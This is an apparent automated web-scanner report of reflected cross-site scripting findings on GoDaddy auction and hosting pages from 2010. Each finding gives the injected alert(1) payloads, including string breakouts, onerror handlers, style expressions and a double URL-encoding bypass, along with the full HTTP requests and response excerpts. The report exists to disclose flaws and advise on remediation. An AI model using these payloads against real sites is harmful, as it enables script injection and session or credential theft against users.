Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ci request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d78be"%3balert(1)//d2ac33e709a was submitted in the ci parameter. This input was echoed as d78be";alert(1)//d2ac33e709a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?ci=13117d78be"%3balert(1)//d2ac33e709a&isc=GPPT03A117&domain=sftimes.com HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:08:37 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: isc=GPPT03A117; domain=.godaddy.com; path=/ Set-Cookie: ASP.NET_SessionId=vwx4pw45xf1n4zywv0gdvx45; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=ci=13117d78be%22%3balert(1)%2f%2fd2ac33e709a&isc=GPPT03A117&domain=sftimes.com&shopper=&privatelabelid=1&isc=GPPT03A117&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 210262
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head id="ctl00_Head1"><tit ...[SNIP]... <script type="text/javascript"> function AddMembershipToCart() { setCookie("IDPLoginRedirect", "https://auctions.godaddy.com/trpHome.aspx?ci=13117d78be";alert(1)//d2ac33e709a&isc=GPPT03A117&domain=sftimes.com"); if (getObj("ctl00_cphMaster_tbBidAmount")) { setCookie("IDPBid", getObj("ctl00_cphMaster_tbBidAmount").value); } else if (getObj("ctl00_cphMaster ...[SNIP]...
The value of the ci request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17699"style%3d"x%3aexpression(alert(1))"651a2b61a83 was submitted in the ci parameter. This input was echoed as 17699"style="x:expression(alert(1))"651a2b61a83 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /?ci=1311717699"style%3d"x%3aexpression(alert(1))"651a2b61a83&isc=GPPT03A117&domain=sftimes.com HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:08:35 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: isc=GPPT03A117; domain=.godaddy.com; path=/ Set-Cookie: ASP.NET_SessionId=1lznjf45ui030teszo4b4ijt; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=ci=1311717699%22style%3d%22x%3aexpression(alert(1))%22651a2b61a83&isc=GPPT03A117&domain=sftimes.com&shopper=&privatelabelid=1&isc=GPPT03A117&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 209894
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the ci request parameter is copied into a JavaScript rest-of-line comment. The payload 6c4df%0aalert(1)//42f0cddfa42 was submitted in the ci parameter. This input was echoed as 6c4df alert(1)//42f0cddfa42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?ci=131176c4df%0aalert(1)//42f0cddfa42&isc=GPPT03A117&domain=sftimes.com HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:08:39 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: isc=GPPT03A117; domain=.godaddy.com; path=/ Set-Cookie: ASP.NET_SessionId=wrqsrz452daet5ecdizpbbnt; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=ci=131176c4df%0aalert(1)%2f%2f42f0cddfa42&isc=GPPT03A117&domain=sftimes.com&shopper=&privatelabelid=1&isc=GPPT03A117&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 209523
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the domain request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96ca7"%3balert(1)//7e769ef789a was submitted in the domain parameter. This input was echoed as 96ca7";alert(1)//7e769ef789a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?isc=gppt02C007&domain=sftimes.com96ca7"%3balert(1)//7e769ef789a HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:11:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: isc=gppt02C007; domain=.godaddy.com; path=/ Set-Cookie: ASP.NET_SessionId=lzq1nt55ofi2tt55amvykt45; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=isc=gppt02C007&domain=sftimes.com96ca7%22%3balert(1)%2f%2f7e769ef789a&shopper=&privatelabelid=1&isc=gppt02C007&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 209789
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head id="ctl00_Head1"><tit ...[SNIP]... <script type="text/javascript"> function AddMembershipToCart() { setCookie("IDPLoginRedirect", "https://auctions.godaddy.com/trpHome.aspx?isc=gppt02C007&domain=sftimes.com96ca7";alert(1)//7e769ef789a"); if (getObj("ctl00_cphMaster_tbBidAmount")) { setCookie("IDPBid", getObj("ctl00_cphMaster_tbBidAmount").value); } else if (getObj("ctl00_cphMaster_tbOfferAmount")) { setCooki ...[SNIP]...
The value of the domain request parameter is copied into a JavaScript rest-of-line comment. The payload a2165%0aalert(1)//163af430c02 was submitted in the domain parameter. This input was echoed as a2165 alert(1)//163af430c02 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?isc=gppt02C007&domain=sftimes.coma2165%0aalert(1)//163af430c02 HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:11:19 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: isc=gppt02C007; domain=.godaddy.com; path=/ Set-Cookie: ASP.NET_SessionId=zzdqwy55liflezmzqlrf0pnu; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=isc=gppt02C007&domain=sftimes.coma2165%0aalert(1)%2f%2f163af430c02&shopper=&privatelabelid=1&isc=gppt02C007&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 209764
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.6. https://auctions.godaddy.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://auctions.godaddy.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript rest-of-line comment. The payload f5f88%0aalert(1)//18c6c8e3c8d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f5f88 alert(1)//18c6c8e3c8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?f5f88%0aalert(1)//18c6c8e3c8d=1 HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:08:39 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=c1yviejda3oh2snze4wofx55; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=f5f88%0aalert(1)%2f%2f18c6c8e3c8d=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 209402
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.7. https://auctions.godaddy.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://auctions.godaddy.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9be2e"%3balert(1)//2e07d29c569 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9be2e";alert(1)//2e07d29c569 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?9be2e"%3balert(1)//2e07d29c569=1 HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:08:37 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=es4x3t3m5fzfzauv4wge2t55; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=9be2e%22%3balert(1)%2f%2f2e07d29c569=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 210223
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head id="ctl00_Head1"><tit ...[SNIP]... <script type="text/javascript"> function AddMembershipToCart() { setCookie("IDPLoginRedirect", "https://auctions.godaddy.com/trpHome.aspx?9be2e";alert(1)//2e07d29c569=1"); if (getObj("ctl00_cphMaster_tbBidAmount")) { setCookie("IDPBid", getObj("ctl00_cphMaster_tbBidAmount").value); } else if (getObj("ctl00_cphMaster_tbOfferAmount")) { setCoo ...[SNIP]...
1.8. http://www.godaddy.com/Hosting/Legacy.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.godaddy.com
Path:
/Hosting/Legacy.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eed19%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ad57768b1e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as eed19"><script>alert(1)</script>7ad57768b1e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Hosting/Legacy.aspx?eed19%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ad57768b1e=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:28:56 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=pf3l0lfa5o2nzenfz3ldab45; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:28:56 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:28:56 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:28:56 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/hosting/web-hosting.aspx&server=CORPWEB185&status=200 OK&querystring=eed19%22%3e%3cscript%3ealert(1)%3c%2fscript%3e7ad57768b1e=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Set-Cookie: BlueLithium=vaihmdgcxgvgbbodxicfkjgeycogljve; domain=godaddy.com; path=/ Set-Cookie: GoogleADServicesgoogleadwords=vaihmdgcxgvgbbodxicfkjgeycogljve; domain=godaddy.com; expires=Sat, 14-Nov-2020 23:28:56 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 327373
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.9. http://www.godaddy.com/email/email-hosting.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.godaddy.com
Path:
/email/email-hosting.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc22e"onerror%3d"alert(1)"8e83204b2bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fc22e"onerror="alert(1)"8e83204b2bd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /email/email-hosting.aspx?fc22e"onerror%3d"alert(1)"8e83204b2bd=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:30:57 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=iife4duravuindjfl2rwhir5; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:30:57 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:30:57 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:30:57 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/email/email-hosting.aspx&server=CORPWEB185&status=200 OK&querystring=fc22e%22onerror%3d%22alert(1)%228e83204b2bd=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 161537
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.10. http://www.godaddy.com/hosting/web-hosting.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.godaddy.com
Path:
/hosting/web-hosting.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c780"onerror%3d"alert(1)"79da83a095f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1c780"onerror="alert(1)"79da83a095f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /hosting/web-hosting.aspx?1c780"onerror%3d"alert(1)"79da83a095f=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:29:02 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=y13o43be2pe3s33c1weiye55; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:29:02 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:29:02 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:29:02 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/hosting/web-hosting.aspx&server=CORPWEB185&status=200 OK&querystring=1c780%22onerror%3d%22alert(1)%2279da83a095f=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Set-Cookie: BlueLithium=eeobbbphjipabdxjydnbcbcijarbvghj; domain=godaddy.com; path=/ Set-Cookie: GoogleADServicesgoogleadwords=eeobbbphjipabdxjydnbcbcijarbvghj; domain=godaddy.com; expires=Sat, 14-Nov-2020 23:29:02 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 327331
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.11. http://www.godaddy.com/hosting/website-builder.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.godaddy.com
Path:
/hosting/website-builder.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bd67"onerror%3d"alert(1)"453233e7a72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4bd67"onerror="alert(1)"453233e7a72 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /hosting/website-builder.aspx?4bd67"onerror%3d"alert(1)"453233e7a72=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:28:41 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=zakbmwnurpis3vin1meaol55; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:28:41 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:28:41 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:28:41 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/hosting/website-builder.aspx&server=CORPWEB185&status=200 OK&querystring=4bd67%22onerror%3d%22alert(1)%22453233e7a72=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Set-Cookie: BlueLithium=niebualizeucbhrdufjfnfndvcecueyj; domain=godaddy.com; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 225073
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.12. http://www.godaddy.com/ssl/ssl-certificates.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.godaddy.com
Path:
/ssl/ssl-certificates.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32c42"onerror%3d"alert(1)"6f7b69a8f88 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 32c42"onerror="alert(1)"6f7b69a8f88 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /ssl/ssl-certificates.aspx?32c42"onerror%3d"alert(1)"6f7b69a8f88=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:30:04 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=5wsjlnvcapq4vs45nj3h2b45; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:30:04 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:30:04 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:30:04 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/ssl/ssl-certificates.aspx&server=CORPWEB185&status=200 OK&querystring=32c42%22onerror%3d%22alert(1)%226f7b69a8f88=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Set-Cookie: GoogleADServicesgooglessl=aanfjdxabhdayjjbyfvjgcajcffbqcmf; domain=godaddy.com; expires=Sat, 14-Nov-2020 23:30:04 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 158736
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.13. https://www.godaddy.com/gdshop/email.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.godaddy.com
Path:
/gdshop/email.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d3df"onerror%3d"alert(1)"9525c6cd90d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7d3df"onerror="alert(1)"9525c6cd90d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
